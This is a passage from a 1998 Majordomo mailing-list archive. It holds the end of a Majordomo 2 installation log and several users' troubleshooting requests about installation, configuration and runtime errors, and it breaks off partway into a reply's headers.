/usr/local/mj2/lib/./auto/Mj/List/fs_put.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_put_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_put_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_put_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_delete.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_sync.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_mogrify.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_mkdir.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/check_dup.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/expire_dup.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_make_aux.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_make_fs.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_make_dup.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_make_digest.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_make_archive.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_set_to_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_save.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_lock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_unlock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_allowed.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_comment.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_intro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_isarray.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_isauto.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_visible.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_mutable.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_groups.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_type.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/config_get_vars.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/archive_add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/archive_get_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/archive_get_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/archive_get_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/archive_expand_range.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/digest_build.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/digest_add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/new.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/get_message.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/get_line.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/get_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/get_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/get_to_file.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/get_data.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/last_message.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/last_n.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/expand_date.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_secs_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_secs_end.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_dim.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/index_name.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/count_name.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_msgnum.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_arc_name.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_read_counts.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_write_counts.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/_make_index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/expand_range.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Archive/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/Build/build.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/Build/build_mime.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/Build/build_index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/Build/idx_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/Build/idx_wasilko.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/Build/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/new.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/volume.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/trigger.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/decide.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/choose.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/in_clock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/_open_state.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/_close_state.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Digest/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/get_all_lists.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/domain.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_re_match.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/substitute_vars.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/substitute_vars_string.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/unique.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/unique2.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/tempname.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_reg_add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_reg_lookup.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_reg_remove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_alias_reverse_lookup.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/is_subscriber.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/s_expire.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/global_config_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/list_config_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/list_config_set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/list_config_set_to_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/save_configs.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_site_config_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_global_config_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_config_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_config_set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_config_lock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_config_unlock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_allowed.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_comment.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_groups.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_intro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_isarray.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_isauto.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_type.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_visible.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_mutable.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_vars.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/config_get_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/get_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_get_mailfile.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/get_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/get_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/faq_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_faq.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/help_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/info_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_info.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/intro_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_intro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/password.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_password.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/put_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_put.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/put_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/put_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/request_response.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_request_response.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_file_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_file_put.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_list_file_delete.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/list_file_sync.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_get_stock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_fill_lists.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_make_list.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/legal_list_name.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/valid_list.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/accept.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/alias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_alias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/archive.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_archive.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/archive_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/archive_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/auxadd.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_auxadd.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/auxremove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/auxwho_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/auxwho_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/auxwho_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/createlist.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_createlist.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/lists.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/reject.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/register.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_register.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/sessioninfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/show.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/showtokens.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_showtokens.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/subscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_subscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/tokeninfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/trigger.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/unalias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_unalias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/unregister.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_unregister.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/unsubscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_unsubscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/which.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/who_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/_who.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/who_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/who_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Majordomo/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./Mj/Format.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/Connection.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/Dest.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/Envelope.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/Sorter.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/QQEnvelope.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/SMTP.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver/Prober.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Inform.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Parser.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/SimpleDB.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Access.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/FileRepl.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/File.pm.debug (unchanged) Skipping /usr/local/mj2/lib/./Mj/TextOutput.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/MTAConfig.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/SimpleDB/Base.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/SimpleDB/Text.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/RegList.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Addr.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/List.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/File.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Log.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Archive.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/AliasList.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Lock.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Deliver.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/FileSpace.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/SubscriberList.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/FileSpaceDB.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Config.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/CommandProps.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/MIMEParser.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/MailOut.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Digest/Build.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Digest.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Resend.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/Token.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/AddressList.pm (unchanged) Skipping /usr/local/mj2/lib/./Mj/TokenDB.pm (unchanged) Skipping /usr/local/mj2/lib/./mj_cf_data.pl (unchanged) Skipping /usr/local/mj2/lib/./Bf/Sender.pm (unchanged) Skipping /usr/local/mj2/lib/./mj_cf_defs.pl (unchanged) Skipping /usr/local/mj2/lib/./parser_data.pl (unchanged) Skipping /usr/local/mj2/lib/./Majordomo.pm (unchanged) Skipping /usr/local/mj2/man/man1/./mj_trigger.1 (unchanged) Skipping /usr/local/mj2/man/man1/./mj_email.1 (unchanged) Skipping /usr/local/mj2/man/man1/./mj_confirm.1 (unchanged) Skipping /usr/local/mj2/man/man1/./mj_shell.1 (unchanged) Skipping /usr/local/mj2/man/man1/./mj_resend.1 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Format.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::Connection.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::Dest.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Inform.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Parser.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::SimpleDB.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Access.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::FileRepl.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::TextOutput.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Addr.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::List.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::File.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Archive.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Log.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::AliasList.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Lock.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::FileSpace.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::SubscriberList.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./mj_cf_data.pl.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Bf::Sender.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::FileSpaceDB.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::MIMEParser.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Config.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::Envelope.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./mj_cf_defs.pl.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::Sorter.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::QQEnvelope.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::MailOut.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::SMTP.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Digest::Build.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Digest.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Token.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Resend.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::AddressList.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Majordomo.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::Deliver::Prober.pm.3 (unchanged) Skipping /usr/local/mj2/man/man3/./Mj::TokenDB.pm.3 (unchanged) Skipping /usr/local/mj2/bin/./.mj_shell (unchanged) Skipping /usr/local/mj2/bin/./.mj_email (unchanged) Skipping /usr/local/mj2/bin/./mj_confirm (unchanged) Skipping /usr/local/mj2/bin/./.mj_confirm (unchanged) Skipping /usr/local/mj2/bin/./mj_resend (unchanged) Skipping /usr/local/mj2/bin/./.mj_resend (unchanged) Skipping /usr/local/mj2/bin/./mj_email (unchanged) Skipping /usr/local/mj2/bin/./mj_shell (unchanged) Skipping /usr/local/mj2/bin/./mj_trigger (unchanged) Writing /usr/local/mj2/lib/auto/Majordomo/.packlist Appending installation info to /usr/local/mj2/lib/perllocal.pod /usr/local/bin/perl -w postinstall Setting permissions:.................................ok Making directories:...........ok. Installing stock response files:...................................................................... ...........................ok..............................ok. Configuring site-wide parameters:.....ok. Configuring bwsweb.net:.ok. Configuring elmorro.org:.ok. Some basic configuration information: Error executing /usr/local/mj2/bin/mj_shell, 65280 at postinstall line 418 ********* END OUTPUT ************ Tim Treaster tim@bwsweb.net From majordomo-workers-owner Mon Oct 19 12:21:39 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id LAA28948; Mon, 19 Oct 1998 11:55:30 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id LAA28936 for majordomo-workers@greatcircle.com; Mon, 19 Oct 1998 11:55:24 -0700 (PDT) Received: from online.no (pilt-s.online.no [193.212.1.34]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA09828 for ; Sun, 18 Oct 1998 15:03:58 -0700 (PDT) Received: from andrehost (ti09a95-0454.dialup.online.no [130.67.55.198]) by online.no (8.9.1/8.9.1) with SMTP id AAA03496 for ; Mon, 19 Oct 1998 00:23:11 +0200 (MET DST) Message-Id: <3.0.3.32.19981019002136.006b2cac@online.no> X-Sender: abry@online.no X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Mon, 19 Oct 1998 00:21:36 +0100 To: Majordomo-Workers@GreatCircle.COM From: Andre Brynildsen Subject: Problems with Majordomo Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hey! I use Majordomo to my mailinglist. But when i update to RedHat 5.1, i got these wrong msg. Can you please help me ? Can't locate majordomo.pl in @INC (@INC contains: /root /usr/lib/perl5/i386-linux/5.00404 /usr/lib/perl5 /usr/lib/perl5/site_perl/i386-linux /usr/lib/perl5/site_perl .) at /majordomo line 64. Thanks!! Regards, Andre Brynildsen ******************************************************** Andre Brynildsen Tlf: 69272423 (priv) Anna Hagmansgt. 18 69275906 (fax) 1511 Moss URL: http://www.brynildsen.com Mail: andre@brynildsen.com (privat) From majordomo-workers-owner Tue Oct 20 22:39:34 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id WAA24758; Tue, 20 Oct 1998 22:27:34 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id WAA24748 for majordomo-workers@greatcircle.com; Tue, 20 Oct 1998 22:27:31 -0700 (PDT) Received: from mail.math.okstate.edu (mail.math.okstate.edu [139.78.112.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA00819 for ; Mon, 19 Oct 1998 13:56:13 -0700 (PDT) Received: from mail.math.okstate.edu (raven@localhost [127.0.0.1]) by mail.math.okstate.edu (8.8.7/8.8.7) with ESMTP id PAA01564; Mon, 19 Oct 1998 15:20:31 -0500 Message-Id: <199810192020.PAA01564@mail.math.okstate.edu> X-Mailer: exmh version 2.0.2 To: majordomo-workers@greatcircle.com cc: raven@mail.math.okstate.edu Subject: possible bug in 1.94.4 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 19 Oct 1998 15:20:31 -0500 From: Raven Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi, I think I may have stumbled upon a bug in majordomo 1.94.4. Both myself and the backup sys admin here have encountered the same problem where everything appears to compile fine, etc. Then when you run the config-test as long as there are errors coming back things seem to run normally but when the coinfig is correct and we should be seeing the offer to register majordomo instead the config-test spawns copies of itself so fast that it shuts our mail machine down. We are running RedHat 5.1 on an Intel box with: Perl 5.004.04 Sendmail 8.8.7 A majordomo user and group were created to own majordomo. Majordomo home is /usr/lib/majordomo. Thanks, Raven From majordomo-workers-owner Tue Oct 20 22:44:20 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id WAA24690; Tue, 20 Oct 1998 22:27:05 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id WAA24674 for majordomo-workers@greatcircle.com; Tue, 20 Oct 1998 22:26:49 -0700 (PDT) Received: from rocky.orci.com (rocky.orci.com [204.144.173.1]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA26097 for ; Mon, 19 Oct 1998 09:53:21 -0700 (PDT) Received: (from nomad@localhost) by rocky.orci.com (8.9.0/8.9.0) id LAA26587; Mon, 19 Oct 1998 11:12:43 -0600 (MDT) Message-ID: <19981019111243.26359@orci.com> Date: Mon, 19 Oct 1998 11:12:43 -0600 From: Nomad the Wanderer To: majordomo-workers@greatcircle.com Subject: Majordomo failing. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Help, I have setup and configured the latest and greatest I can find. I have usuers subscribing, but when I go to mail I'm getting a bounce that's basically this: rocky: {40} % ./wrapper jobline wrapper: Trying to exec /usr2/shell/majordomo/jobline failed: No such file or directory Did you define PERL correctly in the Makefile? HOME is HOME=/usr2/shell/majordomo, PATH is PATH=/bin:/usr/bin:/usr/ucb, SHELL is SHELL=/bin/sh, MAJORDOMO_CF is MAJORDOMO_CF=/usr2/shell/majordomo/majordomo.cf I have an alias set up as: jobline: "|/usr2/shell/majordomo/wrapper jobline" However there is no "jobline" file in $HOME, but there is in $HOME/lists which contaains the name of the users who are subscribed. I've checked the FAQ and can't find anything and no-one else is responding. Robert --------------------------------------------------------------------------- Robert L. Harris | Windows NT -- Senior System Administrator II | Micro$oft's Ode To at Great West Life. \_ P. T. Barnum http://www.orci.com/~nomad DISCLAIMER: These are MY OPINIONS ALONE. I speak for no-one else. FYI: perl -e 'print $i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' From majordomo-workers-owner Wed Oct 21 06:18:31 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id GAA02606; Wed, 21 Oct 1998 06:01:38 -0700 (PDT) Received: from motgate.mot.com (motgate.mot.com [129.188.136.100]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id GAA02599 for ; Wed, 21 Oct 1998 06:01:28 -0700 (PDT) Received: from mothost.mot.com (mothost.mot.com [129.188.137.101]) by motgate.mot.com (8.8.5/8.6.10/MOT-3.8) with ESMTP id IAA24683; Wed, 21 Oct 1998 08:12:52 -0500 (CDT) Comments: ( Received on motgate.mot.com from client mothost.mot.com, sender dwolfe@risc.sps.mot.com ) Received: from risc.risc.sps.mot.com (risc.risc.sps.mot.com [223.6.249.34]) by mothost.mot.com (8.8.5/8.6.10/MOT-3.8) with ESMTP id IAA26680; Wed, 21 Oct 1998 08:12:47 -0500 (CDT) Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.8.7/8.8.7) with ESMTP id IAA13077; Wed, 21 Oct 1998 08:11:47 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id IAA19738; Wed, 21 Oct 1998 08:11:46 -0500 Message-ID: <19981021081146.B12808@risc.sps.mot.com> Date: Wed, 21 Oct 1998 08:11:46 -0500 From: Dave Wolfe To: Raven Cc: majordomo-workers@GreatCircle.COM Subject: Re: possible bug in 1.94.4 References: <199810192020.PAA01564@mail.math.okstate.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: 